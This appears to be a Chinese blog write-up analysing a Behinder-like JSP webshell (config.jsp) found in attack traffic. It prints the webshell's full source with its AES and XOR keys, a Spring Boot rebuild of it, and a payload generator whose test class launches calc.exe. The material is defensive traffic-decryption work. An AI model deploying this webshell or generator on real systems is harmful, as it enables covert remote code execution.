在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……
前言
在某次实战攻防中,有一对儿小马和大马,他们两个通过了层层设备,终于打入了内网,只是在砍杀的过程中,露出了马脚,从巨大的流量中,被挖了出来,可是,真的有这么容易吗?真的如我们所愿吗?随着你的越发深入的对木马,流量进行解密,你的心中越发的不安……
木马分析
1.1 在线检测
1.2 木马总览
上图是apache解析后产生的java文件和相关的字节码
上图是攻击方上传的木马
1.2 特定报文头
POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208
报文头部,有特定的gzip
1.3 测试类
我们需要一个calc的测试类供我们测试
package com.Test.Basic; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.Base64; public class Echo_Base64 { private static String parseByte2HexStr(byte[] buf){ StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){ hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode(); String bytes = Base64.getEncoder().encodeToString(code); System.out.println(parseByte2HexStr(code)); System.out.println(bytes); } }
package com.Test.Basic; import java.io.IOException; public class ByteCodeEvil { static { try { Runtime.getRuntime().exec("calc.exe"); } catch (IOException e) { throw new RuntimeException(e); } } }
package com.Test.Basic; class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } }
import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import java.io.ByteArrayInputStream; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.nio.charset.StandardCharsets; import java.util.zip.GZIPInputStream; import javassist.CannotCompileException; import javassist.ClassPool; import javassist.CtClass; import javassist.NotFoundException; public class AVpayloadGenerator { /** * 加密 * * @param 需要加密的内容 * @return */ public static byte[] encrypt2(byte[] byteContent) { try { SecretKeySpec key = new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES"); Cipher cipher = Cipher.getInstance("AES");//AES/ECB/NoPadding // byte[] byteContent = content.getBytes("utf-8"); cipher.init(Cipher.ENCRYPT_MODE, key);// 初始化 byte[] result = cipher.doFinal(byteContent); return result; // 加密 } catch (Exception e){ e.printStackTrace(); } return null; } /** * base64解密,目测是魔改的base */ public static byte[] base64Encode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes})).getBytes(); } catch (Exception exception1) { } } return value; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } /**将二进制转换成16进制 * @param buf * @return */ public static String parseByte2HexStr(byte buf[]) { StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if (hex.length() == 1) { hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static void ReturnMes(String message){ byte[] bb = base64Decode(message.getBytes()); System.out.println(uncompress(xor(bb))); } public static byte[] uncompress(byte[] bytes) { if (bytes == null || bytes.length == 0) { return null; } ByteArrayOutputStream out = new ByteArrayOutputStream(); ByteArrayInputStream in = new ByteArrayInputStream(bytes); try { GZIPInputStream ungzip = new GZIPInputStream(in); byte[] buffer = new byte[256]; int n; while ((n = ungzip.read(buffer)) >= 0) { out.write(buffer, 0, n); } } catch (Exception e) { e.printStackTrace(); } return out.toByteArray(); } /* * 执行的函数 * ByteCodeEvil 恶意类,自己构造在同一目录, * */ public static void main(String[] args) throws IOException, CannotCompileException, NotFoundException { ClassPool pool = ClassPool.getDefault(); CtClass clazz = pool.get(ByteCodeEvil.class.getName()); byte[] code = clazz.toBytecode(); //String aaa="aaa"; byte buff[]; buff = encrypt2(code); // buff = encrypt2(aaa.getBytes()); String result; result = parseByte2HexStr(buff); System.out.println(result); } }
如上脚本自行编写
AVpayloadGenerator.java
是一个逆向脚本,用于我们生成发送流量的报文
1.4 木马危害
该木马本质没有任何危害,疑似冰蝎类
1.5 config.jsp
class Loader extends ClassLoader{ public Loader(ClassLoader loader){ super(loader); } public Class loadClass(byte[] bytes){ return super.defineClass(bytes,0,bytes.length); } } public static byte[] unHex(byte[] data){int len = data.length;byte[] out = new byte[len / 2];for (int i = 0, j = 0; j < len; i++) {int f = Character.digit(data[j++], 16) << 4;f |= Character.digit(data[j++], 16);out[i] = (byte)(f & 0xFF);}return out;}public byte[] aes128(byte[] s, int mode){try{javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s);}catch(Exception e){return null;}}public static byte[] xor(byte[] data){byte[] key=base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes());int len=data.length;int keyLen=key.length;int index=0;for(int i = 1; i <= len; i++){index=i-1;data[index] =(byte)(data[index]^key[(i%keyLen)]); }return data; }public static byte[] base64Encode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null);value =(byte[])Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Encoder");Object Encoder = base64.newInstance();value =((String)Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{ bytes })).getBytes();} catch(Exception e2){}}return value;}public static byte[] base64Decode(byte[] bytes){Class base64;byte[] value = null;try{base64 = Class.forName("java.util.Base64");Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null);value =(byte[])decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{ bytes });} catch(Exception e){try{base64 = Class.forName("sun.misc.BASE64Decoder");Object decoder = base64.newInstance();value =(byte[])decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String( bytes )});} catch(Exception e2){}}return value;} try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while ((read = inputStream.read(buffer))>0){ bufferStream.write(buffer,0,read); } byte[] requestData = bufferStream.toByteArray();byte[] _requestData = new byte[requestData.length - 112];java.lang.System.arraycopy(requestData,110,_requestData,0,_requestData.length);requestData = _requestData; requestData = unHex(requestData);requestData = aes128(requestData, 2); Class payloadClass = null; if ((payloadClass = (Class) application.getAttribute("inIT"))==null){ application.setAttribute("inIT",new Loader(getClass().getClassLoader()).loadClass(requestData)); }else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData);responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes()));arrOut.write(responseData);arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes()));responseData = arrOut.toByteArray();response.setStatus(200);response.setHeader("Content-Type","application/json");response.getOutputStream().write(responseData); } }catch (Throwable e){ }
由于木马是html实体编码过后的,我们将他进行分段解密
声明变量
存放脚本
1.5.1 实体化解码
https://www.convertstring.com/zh_CN/EncodeDecode/HtmlDecode
1.5.2 代码恢复
我们恢复一下java代码
class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } } public static byte[] unHex(byte[] data) { int len = data.length; byte[] out = new byte[len / 2]; for(int i = 0, j = 0; j < len; i++) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte)(f & 0xFF); } return out; } public byte[] aes128(byte[] s, int mode) { try { javax.crypto.Cipher c = javax.crypto.Cipher.getInstance("AES"); c.init(mode, new javax.crypto.spec.SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch(Exception e) { return null; } } public static byte[] xor(byte[] data) { byte[] key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()); int len = data.length; int keyLen = key.length; int index = 0; for(int i = 1; i <= len; i++) { index = i - 1; data[index] = (byte)(data[index] ^ key[(i % keyLen)]); } return data; } public static byte[] base64Encode(byte[] bytes) { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); value = (byte[]) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bytes }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); value = ((String) Encoder.getClass().getMethod("encode", new Class[] { byte[].class }).invoke(Encoder, new Object[] { bytes })).getBytes(); } catch(Exception e2) {} } return value; } public static byte[] base64Decode(byte[] bytes) { Class base64; byte[] value = null; try { base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[] { byte[].class }).invoke(decoder, new Object[] { bytes }); } catch(Exception e) { try { base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[] { String.class }).invoke(decoder, new Object[] { new String(bytes) }); } catch(Exception e2) {} } return value; } try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read = 0; while((read = inputStream.read(buffer)) > 0) { bufferStream.write(buffer, 0, read); } byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112]; java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length); requestData = _requestData; requestData = unHex(requestData); requestData = aes128(requestData, 2); Class payloadClass = null; if((payloadClass = (Class) application.getAttribute("inIT")) == null) { application.setAttribute("inIT", new Loader(getClass().getClassLoader()).loadClass(requestData)); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData); responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes())); arrOut.write(responseData); arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes())); responseData = arrOut.toByteArray(); response.setStatus(200); response.setHeader("Content-Type", "application/json"); response.getOutputStream().write(responseData); } } catch(Throwable e) {}
代码中的该段,伪造json返回数据,模拟正常业务
环境搭建
2.1 springboot 搭建
我们首先搭建在springboot中,将config.class在jd-gui打开,我们模拟打开web页面
import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.ResponseBody; import javax.crypto.Cipher; import javax.crypto.spec.SecretKeySpec; import javax.servlet.ServletContext; import javax.servlet.ServletException; import javax.servlet.ServletInputStream; import javax.servlet.http.HttpServletRequest; import javax.servlet.http.HttpServletResponse; import java.io.ByteArrayOutputStream; import java.io.IOException; class Loader extends ClassLoader { public Loader(ClassLoader loader) { super(loader); } public Class loadClass(byte[] bytes) { return super.defineClass(bytes, 0, bytes.length); } } @Controller public class helloController { @RequestMapping("/index") @ResponseBody public String index(){ return "hello spring boot!"; } private static String parseByte2HexStr(byte[] buf){ StringBuffer sb = new StringBuffer(); for (int i = 0; i < buf.length; i++) { String hex = Integer.toHexString(buf[i] & 0xFF); if(hex.length() ==1){ hex = '0' + hex; } sb.append(hex.toUpperCase()); } return sb.toString(); } public static byte[] unHex(byte[] data) { int len; byte[] out; int i; int j; for (len = data.length, out = new byte[len / 2], i = 0, j = 0; j < len; ) { int f = Character.digit(data[j++], 16) << 4; f |= Character.digit(data[j++], 16); out[i] = (byte) (f & 0xFF); i++; } return out; } public static byte[] aes128(byte[] s, int mode) { try { Cipher c = Cipher.getInstance("AES"); c.init(mode, new SecretKeySpec(base64Decode("0J5YM0fKgYVrmMkwTUIF+Q==".getBytes()), "AES")); return c.doFinal(s); } catch (Exception exception) { return null; } } public static byte[] xor(byte[] data) { byte[] key; int len; int keyLen; int index; int i; for (key = base64Decode("R84sh+6uJ9oXJpMfw2pc/Q==".getBytes()), len = data.length, keyLen = key.length, index = 0, i = 1; i <= len; ) { index = i - 1; data[index] = (byte) (data[index] ^ key[i % keyLen]); i++; } return data; } public static byte[] base64Encode(byte[] bytes) { byte[] encrypted = null; String str; try { Class<?> base64 = Class.forName("java.util.Base64"); Object Encoder = base64.getMethod("getEncoder", null).invoke(base64, null); encrypted = (byte[]) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Encoder"); Object Encoder = base64.newInstance(); str = (String) Encoder.getClass().getMethod("encode", new Class[]{byte[].class}).invoke(Encoder, new Object[]{bytes}); str=str.replace("\n", "").replace("\r", ""); encrypted=str.getBytes(); } catch (Exception exception1) { } } return encrypted; } public static byte[] base64Decode(byte[] bytes) { byte[] value = null; try { Class<?> base64 = Class.forName("java.util.Base64"); Object decoder = base64.getMethod("getDecoder", null).invoke(base64, null); value = (byte[]) decoder.getClass().getMethod("decode", new Class[]{byte[].class}).invoke(decoder, new Object[]{bytes}); } catch (Exception exception) { try { Class<?> base64 = Class.forName("sun.misc.BASE64Decoder"); Object decoder = base64.newInstance(); value = (byte[]) decoder.getClass().getMethod("decodeBuffer", new Class[]{String.class}).invoke(decoder, new Object[]{new String(bytes)}); } catch (Exception exception1) { } } return value; } @RequestMapping("/index2") public void hh(HttpServletRequest request, HttpServletResponse response) throws IOException, ServletException { try { byte[] buffer = new byte[102400]; java.io.ByteArrayOutputStream bufferStream = new java.io.ByteArrayOutputStream(); ServletInputStream inputStream = request.getInputStream(); int read=0; while ((read = inputStream.read(buffer)) > 0) { bufferStream.write(buffer, 0, read); } byte[] requestData = bufferStream.toByteArray(); byte[] _requestData = new byte[requestData.length - 112]; java.lang.System.arraycopy(requestData, 110, _requestData, 0, _requestData.length); requestData = _requestData; requestData = unHex(requestData); requestData = aes128(requestData, 2); Class payloadClass = null; //System.out.println(parseByte2HexStr(requestData)); ServletContext application = request.getSession().getServletContext(); if ((payloadClass = (Class) application.getAttribute("inIT")) == null) { application.setAttribute("inIT", (new Loader(getClass().getClassLoader())).loadClass(requestData)); } else { java.io.ByteArrayOutputStream arrOut = new java.io.ByteArrayOutputStream(); Object f = payloadClass.newInstance(); f.equals(request); f.equals(arrOut); f.equals(requestData); f.toString(); byte[] responseData = arrOut.toByteArray(); arrOut.reset(); responseData = xor(responseData); responseData = base64Encode(responseData); arrOut.write(base64Decode("eyJjb2RlIjowLCJkYXRhIjp7InN1Z2dlc3RJdGVtcyI6W10sImdsb2JhbCI6ImUxSlRRWDBwWg==".getBytes())); arrOut.write(responseData); arrOut.write(base64Decode("IiwiZXhEYXRhIjp7ImFwaV9mbG93MDEiOiIwIiwiYXBpX2Zsb3cwMiI6IjAiLCJhcGlfZmxvdzAzIjoiMSIsImFwaV9mbG93MDQiOiIwIiwiYXBpX2Zsb3cwNSI6IjAiLCJhcGlfZmxvdzA2IjoiMCIsImFwaV9mbG93MDciOiIwIiwiYXBpX3RhZyI6IjIiLCJsb2NhbF9jaXR5aWQiOiItMSJ9fX0=".getBytes())); responseData = arrOut.toByteArray(); response.setStatus(200); response.setHeader("Content-Type", "application/json"); response.getOutputStream().write(responseData); } } catch (Exception e) { e.printStackTrace(); } } }
这里和源代码有所区别,我们需要补充application
也就是
ServletContext application = request.getSession().getServletContext();
import org.springframework.boot.SpringApplication; import org.springframework.boot.autoconfigure.SpringBootApplication; @SpringBootApplication public class helloApplication { public static void main(String[] args) { SpringApplication.run(helloApplication.class,args); System.out.println("hello springboot"); } }
这里是springboot的启动页面,对比,我们是可以访问到的,因此我们尝试burp发包,首先对代码进行简单分析
2.1.1 类加载器
首先,有一个类加载器,但是是直接加载字节码。
2.1.2 unhex解码
unhex 16进制解码
2.1.3 aes128解码
aes128解码,mode是2,也就是解码
2.1.4 xor解码
异或数据,生成返回页面的值
众所周知,xor两次的数据是不变的,根据马中的内容,还原出是json的返回包
2.1.5 base64编解码
反射调用的base64加解密
2.1.6 数据分片
(这个分片会在前期和后期都造成很大的一个干扰)
这里的_requestData
在jd-gui中第一次被误以为是内置函数,被删除了,但是根据流量包分析,发包并没有反应,因此后续在大师傅的提醒下,将数据切片补全
我们首先尝试看看,不带_requestData
的效果
我们运行Test类,查看生成的字节码hex,和字节码base
hex:CAFEBABE0000003400280A000900180A0019001A08001B0A0019001C07001D07001E0A0006001F0700200700210100063C696E69743E010003282956010004436F646501000F4C696E654E756D6265725461626C650100124C6F63616C5661726961626C655461626C650100047468697301001D4C636F6D2F546573742F42617369632F42797465436F64654576696C3B0100083C636C696E69743E010001650100154C6A6176612F696F2F494F457863657074696F6E3B01000D537461636B4D61705461626C6507001D01000A536F7572636546696C6501001142797465436F64654576696C2E6A6176610C000A000B0700220C0023002401000863616C632E6578650C002500260100136A6176612F696F2F494F457863657074696F6E01001A6A6176612F6C616E672F52756E74696D65457863657074696F6E0C000A002701001B636F6D2F546573742F42617369632F42797465436F64654576696C0100106A6176612F6C616E672F4F626A6563740100116A6176612F6C616E672F52756E74696D6501000A67657452756E74696D6501001528294C6A6176612F6C616E672F52756E74696D653B01000465786563010027284C6A6176612F6C616E672F537472696E673B294C6A6176612F6C616E672F50726F636573733B010018284C6A6176612F6C616E672F5468726F7761626C653B29560021000800090000000000020001000A000B0001000C0000002F00010001000000052AB70001B100000002000D00000006000100000005000E0000000C000100000005000F0010000000080011000B0001000C000000660003000100000017B800021203B6000457A7000D4BBB0006592AB70007BFB1000100000009000C00050003000D000000160005000000080009000B000C0009000D000A0016000C000E0000000C0001000D000900120013000000140000000700024C0700150900010016000000020017
base:yv66vgAAADQAKAoACQAYCgAZABoIABsKABkAHAcAHQcAHgoABgAfBwAgBwAhAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAB1MY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsOwEACDxjbGluaXQ+AQABZQEAFUxqYXZhL2lvL0lPRXhjZXB0aW9uOwEADVN0YWNrTWFwVGFibGUHAB0BAApTb3VyY2VGaWxlAQARQnl0ZUNvZGVFdmlsLmphdmEMAAoACwcAIgwAIwAkAQAIY2FsYy5leGUMACUAJgEAE2phdmEvaW8vSU9FeGNlcHRpb24BABpqYXZhL2xhbmcvUnVudGltZUV4Y2VwdGlvbgwACgAnAQAbY29tL1Rlc3QvQmFzaWMvQnl0ZUNvZGVFdmlsAQAQamF2YS9sYW5nL09iamVjdAEAEWphdmEvbGFuZy9SdW50aW1lAQAKZ2V0UnVudGltZQEAFSgpTGphdmEvbGFuZy9SdW50aW1lOwEABGV4ZWMBACcoTGphdmEvbGFuZy9TdHJpbmc7KUxqYXZhL2xhbmcvUHJvY2VzczsBABgoTGphdmEvbGFuZy9UaHJvd2FibGU7KVYAIQAIAAkAAAAAAAIAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAFAA4AAAAMAAEAAAAFAA8AEAAAAAgAEQALAAEADAAAAGYAAwABAAAAF7gAAhIDtgAEV6cADUu7AAZZKrcAB7+xAAEAAAAJAAwABQADAA0AAAAWAAUAAAAIAAkACwAMAAkADQAKABYADAAOAAAADAABAA0ACQASABMAAAAUAAAABwACTAcAFQkAAQAWAAAAAgAX
接收方:流量 ==》 unhex ==》 aes128 ==》字节码导入 发送方:字节码 ==》 aes128 ==》hex ==》流量
我们运行AVpayloadGenerators生成流量
719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8
我们给index2发送加密字节码,发送两次之后,弹出计算器,说明字节码加载成功
我们接着开放_requestData
我们发现,不生效了
我们去查看一下,代码对传输的数据进行了分割处理
{"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":""}
我们查看流量包中,对方使用这个json进行模拟正常业务进行传递数据
POST /index2 HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: 127.0.0.1:8080 Content-Length: 1552 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"719EBE37D3F3B17195922E849304F1E7BD2DD0BC99103D6B3850FCB3D2DD7CA268DC0AE821D06BBBA3FBAAA6C41F5C2599C346DD8369BEE19703E1F701C0DE79BD66F0F8B1AAE0D0739C445532BBB9E4473EC73D35BC0EDA2CC311B28661D4F6D973DFFA5D6ED4CD524486F7C10BB1DBABB0A6E4AD1022A30C28B4011F8DBA4D4FC1559CDACEE0D6B78B3D2EDC4DEB6CF593F3D782325322A8F87C4FB0D63FC7C1328534174A926233D87AB9B5397071744E1499DD0EEA3C4838F22CAD592A0AC65A3E2CA922B2E5398B8DC89DFC4B0715FED440CFFC8F39C183E954DA92D80B493D0CB0B9E1D12602BFC8CDF16EE81DB57E7949ACBE4C028B6722BEA99804E0A628219641408F0049FE72B3E27DBC192C2C9AABBB70B77CD6F58E9750A823EB12C35D35CF741BA03558FE089EC30A803580860207B672476ED3797CF8850D47590D75D4D702C4D7AB7375189987D9603BC224A3EC9B46131321019CB99A6B559EC22196C7E2D80E4F7EF60E16006C1CD45FDE13392774DBA8DA3D1EFD26E2DC960C6D0758EA0B44FB9DAA4355FA1D2A5E8133F8456101FE4A465A9967345189BCFAD7F7CED591DE5039BFAEFF55C99CCA8EBD58244D3CBD9514E1A25BC483D43423A47653D63D8AD018E94418C0A032A472A8649DF04BF1782AA7AD9902F2C48DC6466390D87693E85B0940CE5C3FE508A8F477BA1C74F557F2B545155EE29727781647FEFF896CF8A4C50D2FDA5223A3AE41819120237000EAE056DFBB7882E96B0A4924642E9EBD65E579A4BA134CC069E94D81A943AFCD12D529FB3D747F0E4497640E4D8BB95466C1F582D85621A255D6643EC0430BC08AA4445E07FBD2FD2524410198D7816601F63A7C1EA2576A08E76F7304B6C0405F4D006B0F166DF8C858BC18AA38B3BE71978BFE1A93C32D99099BF984C4860F04BC09FB0E76FE5BA0B1F25C9C3607E744F60257324EF3A0CC21000232B34BF6F05508C0FF66B738DBB1AD4A784D45AA954E7DB21A63D8"}
我们可以看到,返回值就是一个比较伪装的好的报文
分析到这里,本以为已经分析完善了,可是当我们继续查看流量包的时候,发现并没有那么简单,当我们对他的流量进行重新解密的时候,按理说,可以正常解码,而且返回值应该差别不多,但是实际上,解码出来并不是class,而是乱码
POST /ncupload/config.jsp HTTP/1.1 Accept: image/avif,image/webp,image/apng,image/svg+xml,image/*,*/*;q=0.8 Accept-Encoding: gzip, deflate, br User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.0.0 Safari/537.36 Connection: close Cookie: JSESSIONID=A891C7D63F7AA47F7BB3B7089E134B55.server Content-Type: application/json Cache-Control: no-cache Pragma: no-cache Host: Content-Length: 208 {"kvs":{"SaveLogResult":[0]},"tags":{"isSucc":true,"sdkVersion":"2.1.4","projectName":"Publish"},"extraData":"26426ac13be6e1b58c69fd371bac6de05031411e180aefaba292f681d82e4080931feb534693d2267c5d1940e676a29e"}HTTP/1.1 200 OK Server: Apache-Coyote/1.1 X-Frame-Options: SAMEORIGIN X-Content-Type-Options: nosniff X-XSS-Protection: 1; mode=block Content-Type: application/json;charset=UTF-8 Content-Length: 290 Date: Mon, 25 Jul 2022 11:16:23 GMT Connection: close {"code":0,"data":{"suggestItems":[],"global":"e1JTQX0pZ0aeP7q4n2hcmkzSNR3IziwHfy4+8Q7p37h/TbEBuDTY/h8uggW9zZaqXH9R9/m1YziyH","exData":{"api_flow01":"0","api_flow02":"0","api_flow03":"1","api_flow04":"0","api_flow05":"0","api_flow06":"0","api_flow07":"0","api_tag":"2","local_cityid":"-1"}}}
